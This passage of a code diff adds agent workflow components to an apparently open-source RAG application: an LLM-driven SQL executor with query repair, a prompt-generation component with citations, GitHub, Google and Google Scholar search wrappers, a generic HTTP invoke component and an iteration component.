+                    logging.warning(f"Non-fatal error during connection close: {str(e)}")
+
+            if success:
+                return Email.be_output("Email sent successfully")
+
+        except json.JSONDecodeError:
+            error_msg = "Invalid JSON format in input"
+            logging.error(error_msg)
+            return Email.be_output(error_msg)
+            
+        except smtplib.SMTPAuthenticationError:
+            error_msg = "SMTP Authentication failed. Please check your email and authorization code."
+            logging.error(error_msg)
+            return Email.be_output(f"Failed to send email: {error_msg}")
+            
+        except smtplib.SMTPConnectError:
+            error_msg = f"Failed to connect to SMTP server {self._param.smtp_server}:{self._param.smtp_port}"
+            logging.error(error_msg)
+            return Email.be_output(f"Failed to send email: {error_msg}")
+            
+        except smtplib.SMTPException as e:
+            error_msg = f"SMTP error occurred: {str(e)}"
+            logging.error(error_msg)
+            return Email.be_output(f"Failed to send email: {error_msg}")
+            
+        except Exception as e:
+            error_msg = f"Unexpected error: {str(e)}"
+            logging.error(error_msg)
+            return Email.be_output(f"Failed to send email: {error_msg}") 

agent/component/exesql.py

@@ -0,0 +1,154 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import re
+from copy import deepcopy
+
+import pandas as pd
+import pymysql
+import psycopg2
+from agent.component import GenerateParam, Generate
+import pyodbc
+import logging
+
+
+class ExeSQLParam(GenerateParam):
+    """
+    Define the ExeSQL component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.db_type = "mysql"
+        self.database = ""
+        self.username = ""
+        self.host = ""
+        self.port = 3306
+        self.password = ""
+        self.loop = 3
+        self.top_n = 30
+
+    def check(self):
+        super().check()
+        self.check_valid_value(self.db_type, "Choose DB type", ['mysql', 'postgresql', 'mariadb', 'mssql'])
+        self.check_empty(self.database, "Database name")
+        self.check_empty(self.username, "database username")
+        self.check_empty(self.host, "IP Address")
+        self.check_positive_integer(self.port, "IP Port")
+        self.check_empty(self.password, "Database password")
+        self.check_positive_integer(self.top_n, "Number of records")
+        if self.database == "rag_flow":
+            if self.host == "ragflow-mysql":
+                raise ValueError("For the security reason, it dose not support database named rag_flow.")
+            if self.password == "infini_rag_flow":
+                raise ValueError("For the security reason, it dose not support database named rag_flow.")
+
+
+class ExeSQL(Generate, ABC):
+    component_name = "ExeSQL"
+
+    def _refactor(self, ans):
+        ans = re.sub(r"<think>.*</think>", "", ans, flags=re.DOTALL)
+        match = re.search(r"```sql\s*(.*?)\s*```", ans, re.DOTALL)
+        if match:
+            ans = match.group(1)  # Query content
+            return ans
+        else:
+            print("no markdown")
+        ans = re.sub(r'^.*?SELECT ', 'SELECT ', (ans), flags=re.IGNORECASE)
+        ans = re.sub(r';.*?SELECT ', '; SELECT ', ans, flags=re.IGNORECASE)
+        ans = re.sub(r';[^;]*$', r';', ans)
+        if not ans:
+            raise Exception("SQL statement not found!")
+        return ans
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = "".join([str(a) for a in ans["content"]]) if "content" in ans else ""
+        ans = self._refactor(ans)
+        if self._param.db_type in ["mysql", "mariadb"]:
+            db = pymysql.connect(db=self._param.database, user=self._param.username, host=self._param.host,
+                                 port=self._param.port, password=self._param.password)
+        elif self._param.db_type == 'postgresql':
+            db = psycopg2.connect(dbname=self._param.database, user=self._param.username, host=self._param.host,
+                                  port=self._param.port, password=self._param.password)
+        elif self._param.db_type == 'mssql':
+            conn_str = (
+                    r'DRIVER={ODBC Driver 17 for SQL Server};'
+                    r'SERVER=' + self._param.host + ',' + str(self._param.port) + ';'
+                    r'DATABASE=' + self._param.database + ';'
+                    r'UID=' + self._param.username + ';'
+                    r'PWD=' + self._param.password
+            )
+            db = pyodbc.connect(conn_str)
+        try:
+            cursor = db.cursor()
+        except Exception as e:
+            raise Exception("Database Connection Failed! \n" + str(e))
+        if not hasattr(self, "_loop"):
+            setattr(self, "_loop", 0)
+            self._loop += 1
+        input_list = re.split(r';', ans.replace(r"\n", " "))
+        sql_res = []
+        for i in range(len(input_list)):
+            single_sql = input_list[i]
+            while self._loop <= self._param.loop:
+                self._loop += 1
+                if not single_sql:
+                    break
+                try:
+                    cursor.execute(single_sql)
+                    if cursor.rowcount == 0:
+                        sql_res.append({"content": "No record in the database!"})
+                        break
+                    if self._param.db_type == 'mssql':
+                        single_res = pd.DataFrame.from_records(cursor.fetchmany(self._param.top_n),
+                                                               columns=[desc[0] for desc in cursor.description])
+                    else:
+                        single_res = pd.DataFrame([i for i in cursor.fetchmany(self._param.top_n)])
+                        single_res.columns = [i[0] for i in cursor.description]
+                    sql_res.append({"content": single_res.to_markdown(index=False, floatfmt=".6f")})
+                    break
+                except Exception as e:
+                    single_sql = self._regenerate_sql(single_sql, str(e), **kwargs)
+                    single_sql = self._refactor(single_sql)
+                    if self._loop > self._param.loop:
+                        sql_res.append({"content": "Can't query the correct data via SQL statement."})
+        db.close()
+        if not sql_res:
+            return ExeSQL.be_output("")
+        return pd.DataFrame(sql_res)
+
+    def _regenerate_sql(self, failed_sql, error_message, **kwargs):
+        prompt = f'''
+        ## You are the Repair SQL Statement Helper, please modify the original SQL statement based on the SQL query error report.
+        ## The original SQL statement is as follows:{failed_sql}.
+        ## The contents of the SQL query error report is as follows:{error_message}.
+        ## Answer only the modified SQL statement. Please do not give any explanation, just answer the code.
+'''
+        self._param.prompt = prompt
+        kwargs_ = deepcopy(kwargs)
+        kwargs_["stream"] = False
+        response = Generate._run(self, [], **kwargs_)
+        try:
+            regenerated_sql = response.loc[0, "content"]
+            return regenerated_sql
+        except Exception as e:
+            logging.error(f"Failed to regenerate SQL: {e}")
+            return None
+
+    def debug(self, **kwargs):
+        return self._run([], **kwargs)

agent/component/generate.py

@@ -0,0 +1,248 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import re
+from functools import partial
+import pandas as pd
+from api.db import LLMType
+from api.db.services.conversation_service import structure_answer
+from api.db.services.llm_service import LLMBundle
+from api import settings
+from agent.component.base import ComponentBase, ComponentParamBase
+from rag.prompts import message_fit_in
+
+
+class GenerateParam(ComponentParamBase):
+    """
+    Define the Generate component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.llm_id = ""
+        self.prompt = ""
+        self.max_tokens = 0
+        self.temperature = 0
+        self.top_p = 0
+        self.presence_penalty = 0
+        self.frequency_penalty = 0
+        self.cite = True
+        self.parameters = []
+
+    def check(self):
+        self.check_decimal_float(self.temperature, "[Generate] Temperature")
+        self.check_decimal_float(self.presence_penalty, "[Generate] Presence penalty")
+        self.check_decimal_float(self.frequency_penalty, "[Generate] Frequency penalty")
+        self.check_nonnegative_number(self.max_tokens, "[Generate] Max tokens")
+        self.check_decimal_float(self.top_p, "[Generate] Top P")
+        self.check_empty(self.llm_id, "[Generate] LLM")
+        # self.check_defined_type(self.parameters, "Parameters", ["list"])
+
+    def gen_conf(self):
+        conf = {}
+        if self.max_tokens > 0:
+            conf["max_tokens"] = self.max_tokens
+        if self.temperature > 0:
+            conf["temperature"] = self.temperature
+        if self.top_p > 0:
+            conf["top_p"] = self.top_p
+        if self.presence_penalty > 0:
+            conf["presence_penalty"] = self.presence_penalty
+        if self.frequency_penalty > 0:
+            conf["frequency_penalty"] = self.frequency_penalty
+        return conf
+
+
+class Generate(ComponentBase):
+    component_name = "Generate"
+
+    def get_dependent_components(self):
+        inputs = self.get_input_elements()
+        cpnts = set([i["key"] for i in inputs[1:] if i["key"].lower().find("answer") < 0 and i["key"].lower().find("begin") < 0])
+        return list(cpnts)
+
+    def set_cite(self, retrieval_res, answer):
+        retrieval_res = retrieval_res.dropna(subset=["vector", "content_ltks"]).reset_index(drop=True)
+        if "empty_response" in retrieval_res.columns:
+            retrieval_res["empty_response"].fillna("", inplace=True)
+        answer, idx = settings.retrievaler.insert_citations(answer,
+                                                            [ck["content_ltks"] for _, ck in retrieval_res.iterrows()],
+                                                            [ck["vector"] for _, ck in retrieval_res.iterrows()],
+                                                            LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING,
+                                                                      self._canvas.get_embedding_model()), tkweight=0.7,
+                                                            vtweight=0.3)
+        doc_ids = set([])
+        recall_docs = []
+        for i in idx:
+            did = retrieval_res.loc[int(i), "doc_id"]
+            if did in doc_ids:
+                continue
+            doc_ids.add(did)
+            recall_docs.append({"doc_id": did, "doc_name": retrieval_res.loc[int(i), "docnm_kwd"]})
+
+        del retrieval_res["vector"]
+        del retrieval_res["content_ltks"]
+
+        reference = {
+            "chunks": [ck.to_dict() for _, ck in retrieval_res.iterrows()],
+            "doc_aggs": recall_docs
+        }
+
+        if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0:
+            answer += " Please set LLM API-Key in 'User Setting -> Model providers -> API-Key'"
+        res = {"content": answer, "reference": reference}
+        res = structure_answer(None, res, "", "")
+
+        return res
+
+    def get_input_elements(self):
+        key_set = set([])
+        res = [{"key": "user", "name": "Input your question here:"}]
+        for r in re.finditer(r"\{([a-z]+[:@][a-z0-9_-]+)\}", self._param.prompt, flags=re.IGNORECASE):
+            cpn_id = r.group(1)
+            if cpn_id in key_set:
+                continue
+            if cpn_id.lower().find("begin@") == 0:
+                cpn_id, key = cpn_id.split("@")
+                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
+                    if p["key"] != key:
+                        continue
+                    res.append({"key": r.group(1), "name": p["name"]})
+                    key_set.add(r.group(1))
+                continue
+            cpn_nm = self._canvas.get_component_name(cpn_id)
+            if not cpn_nm:
+                continue
+            res.append({"key": cpn_id, "name": cpn_nm})
+            key_set.add(cpn_id)
+        return res
+
+    def _run(self, history, **kwargs):
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        prompt = self._param.prompt
+
+        retrieval_res = []
+        self._param.inputs = []
+        for para in self.get_input_elements()[1:]:
+            if para["key"].lower().find("begin@") == 0:
+                cpn_id, key = para["key"].split("@")
+                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
+                    if p["key"] == key:
+                        kwargs[para["key"]] = p.get("value", "")
+                        self._param.inputs.append(
+                            {"component_id": para["key"], "content": kwargs[para["key"]]})
+                        break
+                else:
+                    assert False, f"Can't find parameter '{key}' for {cpn_id}"
+                continue
+
+            component_id = para["key"]
+            cpn = self._canvas.get_component(component_id)["obj"]
+            if cpn.component_name.lower() == "answer":
+                hist = self._canvas.get_history(1)
+                if hist:
+                    hist = hist[0]["content"]
+                else:
+                    hist = ""
+                kwargs[para["key"]] = hist
+                continue
+            _, out = cpn.output(allow_partial=False)
+            if "content" not in out.columns:
+                kwargs[para["key"]] = ""
+            else:
+                if cpn.component_name.lower() == "retrieval":
+                    retrieval_res.append(out)
+                kwargs[para["key"]] = "  - " + "\n - ".join([o if isinstance(o, str) else str(o) for o in out["content"]])
+            self._param.inputs.append({"component_id": para["key"], "content": kwargs[para["key"]]})
+
+        if retrieval_res:
+            retrieval_res = pd.concat(retrieval_res, ignore_index=True)
+        else:
+            retrieval_res = pd.DataFrame([])
+
+        for n, v in kwargs.items():
+            prompt = re.sub(r"\{%s\}" % re.escape(n), str(v).replace("\\", " "), prompt)
+
+        if not self._param.inputs and prompt.find("{input}") >= 0:
+            retrieval_res = self.get_input()
+            input = ("  - " + "\n  - ".join(
+                [c for c in retrieval_res["content"] if isinstance(c, str)])) if "content" in retrieval_res else ""
+            prompt = re.sub(r"\{input\}", re.escape(input), prompt)
+
+        downstreams = self._canvas.get_component(self._id)["downstream"]
+        if kwargs.get("stream") and len(downstreams) == 1 and self._canvas.get_component(downstreams[0])[
+            "obj"].component_name.lower() == "answer":
+            return partial(self.stream_output, chat_mdl, prompt, retrieval_res)
+
+        if "empty_response" in retrieval_res.columns and not "".join(retrieval_res["content"]):
+            empty_res = "\n- ".join([str(t) for t in retrieval_res["empty_response"] if str(t)])
+            res = {"content": empty_res if empty_res else "Nothing found in knowledgebase!", "reference": []}
+            return pd.DataFrame([res])
+
+        msg = self._canvas.get_history(self._param.message_history_window_size)
+        if len(msg) < 1:
+            msg.append({"role": "user", "content": "Output: "})
+        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(chat_mdl.max_length * 0.97))
+        if len(msg) < 2:
+            msg.append({"role": "user", "content": "Output: "})
+        ans = chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf())
+        ans = re.sub(r"<think>.*</think>", "", ans, flags=re.DOTALL)
+
+        if self._param.cite and "content_ltks" in retrieval_res.columns and "vector" in retrieval_res.columns:
+            res = self.set_cite(retrieval_res, ans)
+            return pd.DataFrame([res])
+
+        return Generate.be_output(ans)
+
+    def stream_output(self, chat_mdl, prompt, retrieval_res):
+        res = None
+        if "empty_response" in retrieval_res.columns and not "".join(retrieval_res["content"]):
+            empty_res = "\n- ".join([str(t) for t in retrieval_res["empty_response"] if str(t)])
+            res = {"content": empty_res if empty_res else "Nothing found in knowledgebase!", "reference": []}
+            yield res
+            self.set_output(res)
+            return
+
+        msg = self._canvas.get_history(self._param.message_history_window_size)
+        if len(msg) < 1:
+            msg.append({"role": "user", "content": "Output: "})
+        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(chat_mdl.max_length * 0.97))
+        if len(msg) < 2:
+            msg.append({"role": "user", "content": "Output: "})
+        answer = ""
+        for ans in chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf()):
+            res = {"content": ans, "reference": []}
+            answer = ans
+            yield res
+
+        if self._param.cite and "content_ltks" in retrieval_res.columns and "vector" in retrieval_res.columns:
+            res = self.set_cite(retrieval_res, answer)
+            yield res
+
+        self.set_output(Generate.be_output(res))
+
+    def debug(self, **kwargs):
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        prompt = self._param.prompt
+
+        for para in self._param.debug_inputs:
+            kwargs[para["key"]] = para.get("value", "")
+
+        for n, v in kwargs.items():
+            prompt = re.sub(r"\{%s\}" % re.escape(n), str(v).replace("\\", " "), prompt)
+
+        u = kwargs.get("user")
+        ans = chat_mdl.chat(prompt, [{"role": "user", "content": u if u else "Output: "}], self._param.gen_conf())
+        return pd.DataFrame([ans])

agent/component/github.py

@@ -0,0 +1,61 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import pandas as pd
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class GitHubParam(ComponentParamBase):
+    """
+    Define the GitHub component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+
+
+class GitHub(ComponentBase, ABC):
+    component_name = "GitHub"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return GitHub.be_output("")
+
+        try:
+            url = 'https://api.github.com/search/repositories?q=' + ans + '&sort=stars&order=desc&per_page=' + str(
+                self._param.top_n)
+            headers = {"Content-Type": "application/vnd.github+json", "X-GitHub-Api-Version": '2022-11-28'}
+            response = requests.get(url=url, headers=headers).json()
+
+            github_res = [{"content": '<a href="' + i["html_url"] + '">' + i["name"] + '</a>' + str(
+                i["description"]) + '\n stars:' + str(i['watchers'])} for i in response['items']]
+        except Exception as e:
+            return GitHub.be_output("**ERROR**: " + str(e))
+
+        if not github_res:
+            return GitHub.be_output("")
+
+        df = pd.DataFrame(github_res)
+        logging.debug(f"df: {df}")
+        return df

agent/component/google.py

@@ -0,0 +1,96 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+from serpapi import GoogleSearch
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class GoogleParam(ComponentParamBase):
+    """
+    Define the Google component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.api_key = "xxx"
+        self.country = "cn"
+        self.language = "en"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_empty(self.api_key, "SerpApi API key")
+        self.check_valid_value(self.country, "Google Country",
+                               ['af', 'al', 'dz', 'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'au', 'at',
+                                'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm', 'bt', 'bo', 'ba', 'bw',
+                                'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi', 'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td',
+                                'cl', 'cn', 'cx', 'cc', 'co', 'km', 'cg', 'cd', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy',
+                                'cz', 'dk', 'dj', 'dm', 'do', 'ec', 'eg', 'sv', 'gq', 'er', 'ee', 'et', 'fk', 'fo',
+                                'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm', 'ge', 'de', 'gh', 'gi', 'gr', 'gl',
+                                'gd', 'gp', 'gu', 'gt', 'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is',
+                                'in', 'id', 'ir', 'iq', 'ie', 'il', 'it', 'jm', 'jp', 'jo', 'kz', 'ke', 'ki', 'kp',
+                                'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls', 'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk',
+                                'mg', 'mw', 'my', 'mv', 'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md',
+                                'mc', 'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc', 'nz', 'ni',
+                                'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw', 'ps', 'pa', 'pg', 'py', 'pe',
+                                'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're', 'ro', 'ru', 'rw', 'sh', 'kn', 'lc', 'pm',
+                                'vc', 'ws', 'sm', 'st', 'sa', 'sn', 'rs', 'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so',
+                                'za', 'gs', 'es', 'lk', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj', 'tz',
+                                'th', 'tl', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv', 'ug', 'ua', 'ae',
+                                'uk', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn', 'vg', 'vi', 'wf', 'eh', 'ye',
+                                'zm', 'zw'])
+        self.check_valid_value(self.language, "Google languages",
+                               ['af', 'ak', 'sq', 'ws', 'am', 'ar', 'hy', 'az', 'eu', 'be', 'bem', 'bn', 'bh',
+                                'xx-bork', 'bs', 'br', 'bg', 'bt', 'km', 'ca', 'chr', 'ny', 'zh-cn', 'zh-tw', 'co',
+                                'hr', 'cs', 'da', 'nl', 'xx-elmer', 'en', 'eo', 'et', 'ee', 'fo', 'tl', 'fi', 'fr',
+                                'fy', 'gaa', 'gl', 'ka', 'de', 'el', 'kl', 'gn', 'gu', 'xx-hacker', 'ht', 'ha', 'haw',
+                                'iw', 'hi', 'hu', 'is', 'ig', 'id', 'ia', 'ga', 'it', 'ja', 'jw', 'kn', 'kk', 'rw',
+                                'rn', 'xx-klingon', 'kg', 'ko', 'kri', 'ku', 'ckb', 'ky', 'lo', 'la', 'lv', 'ln', 'lt',
+                                'loz', 'lg', 'ach', 'mk', 'mg', 'ms', 'ml', 'mt', 'mv', 'mi', 'mr', 'mfe', 'mo', 'mn',
+                                'sr-me', 'my', 'ne', 'pcm', 'nso', 'no', 'nn', 'oc', 'or', 'om', 'ps', 'fa',
+                                'xx-pirate', 'pl', 'pt', 'pt-br', 'pt-pt', 'pa', 'qu', 'ro', 'rm', 'nyn', 'ru', 'gd',
+                                'sr', 'sh', 'st', 'tn', 'crs', 'sn', 'sd', 'si', 'sk', 'sl', 'so', 'es', 'es-419', 'su',
+                                'sw', 'sv', 'tg', 'ta', 'tt', 'te', 'th', 'ti', 'to', 'lua', 'tum', 'tr', 'tk', 'tw',
+                                'ug', 'uk', 'ur', 'uz', 'vu', 'vi', 'cy', 'wo', 'xh', 'yi', 'yo', 'zu']
+                               )
+
+
+class Google(ComponentBase, ABC):
+    component_name = "Google"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Google.be_output("")
+
+        try:
+            client = GoogleSearch(
+                {"engine": "google", "q": ans, "api_key": self._param.api_key, "gl": self._param.country,
+                 "hl": self._param.language, "num": self._param.top_n})
+            google_res = [{"content": '<a href="' + i["link"] + '">' + i["title"] + '</a>    ' + i["snippet"]} for i in
+                          client.get_dict()["organic_results"]]
+        except Exception:
+            return Google.be_output("**ERROR**: Existing Unavailable Parameters!")
+
+        if not google_res:
+            return Google.be_output("")
+
+        df = pd.DataFrame(google_res)
+        logging.debug(f"df: {df}")
+        return df

agent/component/googlescholar.py

@@ -0,0 +1,70 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+from scholarly import scholarly
+
+
+class GoogleScholarParam(ComponentParamBase):
+    """
+    Define the GoogleScholar component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 6
+        self.sort_by = 'relevance'
+        self.year_low = None
+        self.year_high = None
+        self.patents = True
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.sort_by, "GoogleScholar Sort_by", ['date', 'relevance'])
+        self.check_boolean(self.patents, "Whether or not to include patents, defaults to True")
+
+
+class GoogleScholar(ComponentBase, ABC):
+    component_name = "GoogleScholar"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return GoogleScholar.be_output("")
+
+        scholar_client = scholarly.search_pubs(ans, patents=self._param.patents, year_low=self._param.year_low,
+                                               year_high=self._param.year_high, sort_by=self._param.sort_by)
+        scholar_res = []
+        for i in range(self._param.top_n):
+            try:
+                pub = next(scholar_client)
+                scholar_res.append({"content": 'Title: ' + pub['bib']['title'] + '\n_Url: <a href="' + pub[
+                    'pub_url'] + '"></a> ' + "\n author: " + ",".join(pub['bib']['author']) + '\n Abstract: ' + pub[
+                                                   'bib'].get('abstract', 'no abstract')})
+
+            except StopIteration or Exception:
+                logging.exception("GoogleScholar")
+                break
+
+        if not scholar_res:
+            return GoogleScholar.be_output("")
+
+        df = pd.DataFrame(scholar_res)
+        logging.debug(f"df: {df}")
+        return df

agent/component/invoke.py

@@ -0,0 +1,132 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import re
+from abc import ABC
+import requests
+from deepdoc.parser import HtmlParser
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class InvokeParam(ComponentParamBase):
+    """
+    Define the Crawler component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.proxy = None
+        self.headers = ""
+        self.method = "get"
+        self.variables = []
+        self.url = ""
+        self.timeout = 60
+        self.clean_html = False
+        self.datatype = "json"  # New parameter to determine data posting type
+
+    def check(self):
+        self.check_valid_value(self.method.lower(), "Type of content from the crawler", ['get', 'post', 'put'])
+        self.check_empty(self.url, "End point URL")
+        self.check_positive_integer(self.timeout, "Timeout time in second")
+        self.check_boolean(self.clean_html, "Clean HTML")
+        self.check_valid_value(self.datatype.lower(), "Data post type", ['json', 'formdata'])  # Check for valid datapost value
+
+
+class Invoke(ComponentBase, ABC):
+    component_name = "Invoke"
+
+    def _run(self, history, **kwargs):
+        args = {}
+        for para in self._param.variables:
+            if para.get("component_id"):
+                if '@' in para["component_id"]:
+                    component = para["component_id"].split('@')[0]
+                    field = para["component_id"].split('@')[1]
+                    cpn = self._canvas.get_component(component)["obj"]
+                    for param in cpn._param.query:
+                        if param["key"] == field:
+                            if "value" in param:
+                                args[para["key"]] = param["value"]
+                else:
+                    cpn = self._canvas.get_component(para["component_id"])["obj"]
+                    if cpn.component_name.lower() == "answer":
+                        args[para["key"]] = self._canvas.get_history(1)[0]["content"]
+                        continue
+                    _, out = cpn.output(allow_partial=False)
+                    if not out.empty:
+                        args[para["key"]] = "\n".join(out["content"])
+            else:
+                args[para["key"]] = para["value"]
+
+        url = self._param.url.strip()
+        if url.find("http") != 0:
+            url = "http://" + url
+
+        method = self._param.method.lower()
+        headers = {}
+        if self._param.headers:
+            headers = json.loads(self._param.headers)
+        proxies = None
+        if re.sub(r"https?:?/?/?", "", self._param.proxy):
+            proxies = {"http": self._param.proxy, "https": self._param.proxy}
+
+        if method == 'get':
+            response = requests.get(url=url,
+                                    params=args,
+                                    headers=headers,
+                                    proxies=proxies,
+                                    timeout=self._param.timeout)
+            if self._param.clean_html:
+                sections = HtmlParser()(None, response.content)
+                return Invoke.be_output("\n".join(sections))
+
+            return Invoke.be_output(response.text)
+
+        if method == 'put':
+            if self._param.datatype.lower() == 'json':
+                response = requests.put(url=url,
+                                        json=args,
+                                        headers=headers,
+                                        proxies=proxies,
+                                        timeout=self._param.timeout)
+            else:
+                response = requests.put(url=url,
+                                        data=args,
+                                        headers=headers,
+                                        proxies=proxies,
+                                        timeout=self._param.timeout)
+            if self._param.clean_html:
+                sections = HtmlParser()(None, response.content)
+                return Invoke.be_output("\n".join(sections))
+            return Invoke.be_output(response.text)
+
+        if method == 'post':
+            if self._param.datatype.lower() == 'json':
+                response = requests.post(url=url,
+                                         json=args,
+                                         headers=headers,
+                                         proxies=proxies,
+                                         timeout=self._param.timeout)
+            else:
+                response = requests.post(url=url,
+                                         data=args,
+                                         headers=headers,
+                                         proxies=proxies,
+                                         timeout=self._param.timeout)
+            if self._param.clean_html:
+                sections = HtmlParser()(None, response.content)
+                return Invoke.be_output("\n".join(sections))
+            return Invoke.be_output(response.text)

agent/component/iteration.py

@@ -0,0 +1,45 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class IterationParam(ComponentParamBase):
+    """
+    Define the Iteration component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.delimiter = ","
+
+    def check(self):
+        self.check_empty(self.delimiter, "Delimiter")
+
+
+class Iteration(ComponentBase, ABC):
+    component_name = "Iteration"
+
+    def get_start(self):
+        for cid in self._canvas.components.keys():
+            if self._canvas.get_component(cid)["obj"].component_name.lower() != "iterationitem":
+                continue
+            if self._canvas.get_component(cid)["parent_id"] == self._id:
+                return self._canvas.get_component(cid)
+
+    def _run(self, history, **kwargs):
+        return self.output(allow_partial=False)[1]
+

agent/component/iterationitem.py

@@ -0,0 +1,49 @@
